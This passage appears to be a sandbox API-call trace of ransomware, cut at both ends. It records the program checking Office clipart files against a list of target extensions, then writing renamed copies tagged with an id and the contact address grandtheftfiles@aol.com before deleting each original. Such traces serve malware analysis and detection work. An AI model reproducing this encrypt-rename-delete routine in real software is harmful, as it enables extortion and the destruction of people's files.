	[0163.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.721] lstrlenW (lpString=".xlsx") returned 5
	[0163.721] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0163.721] lstrlenW (lpString=".ppt") returned 4
	[0163.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.721] lstrlenW (lpString=".zip") returned 4
	[0163.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.721] lstrlenW (lpString=".rar") returned 4
	[0163.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.721] lstrlenW (lpString=".bz2") returned 4
	[0163.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.721] lstrlenW (lpString=".7z") returned 3
	[0163.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.721] lstrlenW (lpString=".dbf") returned 4
	[0163.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.721] lstrlenW (lpString=".1cd") returned 4
	[0163.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.721] lstrlenW (lpString=".jpg") returned 4
	[0163.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.722] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.722] lstrlenW (lpString="J0105332.WMF") returned 12
	[0163.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0163.858] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10508) returned 1
	[0163.858] CloseHandle (hObject=0x3dc) returned 1
	[0163.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220
	[0164.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.208] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.208] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0164.209] GetLastError () returned 0x0
	[0164.209] ReadFile (in: hFile=0x52c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x290c, lpOverlapped=0x0) returned 1
	[0164.211] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2910, lpOverlapped=0x0) returned 1
	[0164.212] ReadFile (in: hFile=0x52c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.212] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.212] SetEndOfFile (hFile=0x528) returned 1
	[0164.212] CloseHandle (hObject=0x528) returned 1
	[0164.212] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.212] SetEndOfFile (hFile=0x52c) returned 1
	[0164.215] CloseHandle (hObject=0x52c) returned 1
	[0164.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1
	[0164.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.216] lstrlenW (lpString=".doc") returned 4
	[0164.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.216] lstrlenW (lpString=".docx") returned 5
	[0164.216] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0164.216] lstrlenW (lpString=".pdf") returned 4
	[0164.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.216] lstrlenW (lpString=".xls") returned 4
	[0164.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.216] lstrlenW (lpString=".xlsx") returned 5
	[0164.216] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0164.216] lstrlenW (lpString=".ppt") returned 4
	[0164.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.216] lstrlenW (lpString=".zip") returned 4
	[0164.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.216] lstrlenW (lpString=".rar") returned 4
	[0164.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.216] lstrlenW (lpString=".bz2") returned 4
	[0164.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.216] lstrlenW (lpString=".7z") returned 3
	[0164.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.217] lstrlenW (lpString=".dbf") returned 4
	[0164.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.217] lstrlenW (lpString=".1cd") returned 4
	[0164.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.217] lstrlenW (lpString=".jpg") returned 4
	[0164.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.217] lstrlenW (lpString=".doc") returned 4
	[0164.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.217] lstrlenW (lpString=".docx") returned 5
	[0164.217] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0164.217] lstrlenW (lpString=".pdf") returned 4
	[0164.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.217] lstrlenW (lpString=".xls") returned 4
	[0164.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.217] lstrlenW (lpString=".xlsx") returned 5
	[0164.217] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0164.217] lstrlenW (lpString=".ppt") returned 4
	[0164.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.217] lstrlenW (lpString=".zip") returned 4
	[0164.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.217] lstrlenW (lpString=".rar") returned 4
	[0164.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.217] lstrlenW (lpString=".bz2") returned 4
	[0164.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.217] lstrlenW (lpString=".7z") returned 3
	[0164.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.218] lstrlenW (lpString=".dbf") returned 4
	[0164.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.218] lstrlenW (lpString=".1cd") returned 4
	[0164.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0164.218] lstrlenW (lpString=".jpg") returned 4
	[0164.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.218] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.218] lstrlenW (lpString="J0105348.WMF") returned 12
	[0164.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.219] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17060) returned 1
	[0164.219] CloseHandle (hObject=0x52c) returned 1
	[0164.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220
	[0164.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.219] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.219] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0164.220] GetLastError () returned 0x0
	[0164.220] ReadFile (in: hFile=0x52c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x42a4, lpOverlapped=0x0) returned 1
	[0164.222] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x42b0, lpOverlapped=0x0) returned 1
	[0164.223] ReadFile (in: hFile=0x52c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.224] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.224] SetEndOfFile (hFile=0x528) returned 1
	[0164.224] CloseHandle (hObject=0x528) returned 1
	[0164.224] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.224] SetEndOfFile (hFile=0x52c) returned 1
	[0164.227] CloseHandle (hObject=0x52c) returned 1
	[0164.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1
	[0164.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.228] lstrlenW (lpString=".doc") returned 4
	[0164.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.228] lstrlenW (lpString=".docx") returned 5
	[0164.228] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.228] lstrlenW (lpString=".pdf") returned 4
	[0164.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.228] lstrlenW (lpString=".xls") returned 4
	[0164.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.228] lstrlenW (lpString=".xlsx") returned 5
	[0164.228] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.228] lstrlenW (lpString=".ppt") returned 4
	[0164.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.228] lstrlenW (lpString=".zip") returned 4
	[0164.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.228] lstrlenW (lpString=".rar") returned 4
	[0164.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.228] lstrlenW (lpString=".bz2") returned 4
	[0164.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.229] lstrlenW (lpString=".7z") returned 3
	[0164.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.229] lstrlenW (lpString=".dbf") returned 4
	[0164.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.229] lstrlenW (lpString=".1cd") returned 4
	[0164.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.229] lstrlenW (lpString=".jpg") returned 4
	[0164.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.229] lstrlenW (lpString=".doc") returned 4
	[0164.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.229] lstrlenW (lpString=".docx") returned 5
	[0164.229] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.229] lstrlenW (lpString=".pdf") returned 4
	[0164.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.229] lstrlenW (lpString=".xls") returned 4
	[0164.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.229] lstrlenW (lpString=".xlsx") returned 5
	[0164.229] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.229] lstrlenW (lpString=".ppt") returned 4
	[0164.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.229] lstrlenW (lpString=".zip") returned 4
	[0164.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.229] lstrlenW (lpString=".rar") returned 4
	[0164.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.229] lstrlenW (lpString=".bz2") returned 4
	[0164.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.229] lstrlenW (lpString=".7z") returned 3
	[0164.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.230] lstrlenW (lpString=".dbf") returned 4
	[0164.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.230] lstrlenW (lpString=".1cd") returned 4
	[0164.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0164.230] lstrlenW (lpString=".jpg") returned 4
	[0164.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.230] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.230] lstrlenW (lpString="J0105360.WMF") returned 12
	[0164.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.230] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8860) returned 1
	[0164.231] CloseHandle (hObject=0x52c) returned 1
	[0164.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220
	[0164.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.231] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.231] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0164.232] GetLastError () returned 0x0
	[0164.232] ReadFile (in: hFile=0x52c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x229c, lpOverlapped=0x0) returned 1
	[0164.234] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x22a0, lpOverlapped=0x0) returned 1
	[0164.235] ReadFile (in: hFile=0x52c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.235] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.235] SetEndOfFile (hFile=0x528) returned 1
	[0164.235] CloseHandle (hObject=0x528) returned 1
	[0164.235] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.235] SetEndOfFile (hFile=0x52c) returned 1
	[0164.519] CloseHandle (hObject=0x52c) returned 1
	[0164.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1
	[0164.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.520] lstrlenW (lpString=".doc") returned 4
	[0164.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.520] lstrlenW (lpString=".docx") returned 5
	[0164.520] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0164.520] lstrlenW (lpString=".pdf") returned 4
	[0164.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.521] lstrlenW (lpString=".xls") returned 4
	[0164.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.521] lstrlenW (lpString=".xlsx") returned 5
	[0164.521] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0164.521] lstrlenW (lpString=".ppt") returned 4
	[0164.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.521] lstrlenW (lpString=".zip") returned 4
	[0164.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.521] lstrlenW (lpString=".rar") returned 4
	[0164.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.521] lstrlenW (lpString=".bz2") returned 4
	[0164.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.521] lstrlenW (lpString=".7z") returned 3
	[0164.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.521] lstrlenW (lpString=".dbf") returned 4
	[0164.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.521] lstrlenW (lpString=".1cd") returned 4
	[0164.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.521] lstrlenW (lpString=".jpg") returned 4
	[0164.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.521] lstrlenW (lpString=".doc") returned 4
	[0164.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.521] lstrlenW (lpString=".docx") returned 5
	[0164.521] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0164.521] lstrlenW (lpString=".pdf") returned 4
	[0164.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.521] lstrlenW (lpString=".xls") returned 4
